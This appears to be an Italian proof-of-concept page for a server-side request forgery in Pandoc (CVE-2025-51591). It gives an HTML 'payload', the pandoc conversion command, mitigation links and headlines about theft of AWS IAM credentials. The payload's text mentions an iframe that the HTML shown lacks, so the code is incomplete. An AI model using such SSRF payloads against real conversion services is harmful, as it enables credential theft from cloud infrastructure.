CVE-2025-51591 POC SSRF di Pandoc

Una Server-Side Request Forgery (SSRF) in JGM Pandoc v3.6.4 consente agli attaccanti di ottenere accesso e compromettere l'intera infrastruttura tramite l'iniezione di un iframe modificato.

Installazione di Pandoc

https://pandoc.org/installing.html

Esempio di Payload

⚠️ sostituisci l'url dell'iframe con il tuo url OAST. ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    
</body>

</html>

Converti il Payload in PDF Usando Pandoc

pandoc payload.html -o output1.pdf

Strategie di Mitigazione

https://github.com/jgm/pandoc/issues/10682#issuecomment-2718343529
https://pandoc.org/MANUAL.html#a-note-on-security

Riferimenti

Hacker sfruttano Pandoc CVE-2025-51591 per colpire AWS IMDS e rubare credenziali IAM EC2
IMDS abusato: caccia ai comportamenti rari per scoprire exploit
SSRF durante la generazione di PDF da HTML controllato dall'utente

CVE-2025-51591-Pandoc-SSRF-POC

Più Popolari